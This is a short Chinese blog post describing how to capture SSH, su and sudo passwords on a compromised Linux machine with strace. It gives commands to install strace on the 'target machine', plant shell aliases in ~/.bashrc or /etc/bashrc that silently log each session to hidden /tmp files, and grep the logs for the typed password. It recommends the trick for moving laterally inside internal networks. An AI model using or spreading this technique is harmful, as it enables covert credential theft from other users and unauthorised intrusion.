利用strace来跟踪 ssh 登陆密码



0x01 前言
strace 本身其实是一个非常好用的系统调用跟踪工具,运维们可以通过它快速锁定问题的根源,但,恰巧我们也可以通过这种方式来跟踪任何进程数据,比如ssh,su,sudo,这里以跟踪ssh登陆密码为例,大家可自行脑洞更多其它用法,关于strace自身的选项作用,请man strace:

1
2
3
# yum install epel-release -y 利用epel源来装,直接yum可能yum不到
# yum install strace -y 如果目标机器没有装strace,那你就自己顺手给他装一个,不过像这类的调试工具,一般都会作为常用工具而被预装
# vi ~/.bashrc 注意,这里是当前用户的环境变量配置文件,也就是说它只能对当前用户有效,不过你也可以加到全局配置中 '/etc/bashrc'
1
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -s 2048 ssh'

除了ssh,你也可以尝试跟踪su,sudo,不过,先暂时不要加,实际测试中还有些问题,待解决后再做说明

1
2
3
alias su="strace -o /tmp/.su-`date '+%d%h%m%s'`.log su"
alias sudo="strace -o /tmp/.sudo-`date '+%d%h%m%s'`.log sudo"
# source ~/.bashrc

1
# ssh root@192.168.3.41 -p 22

1
# cat .sshpwd-17May051494975433.log | egrep "(read\(4).*\)"




小结:
    一点小tip,顺手记录下,用来在内网扩展linux机器确实蛮不错的,如果大家想深入研究,可以好好了解下strace工具自身的详细使用说明,本人也正在努力学习中…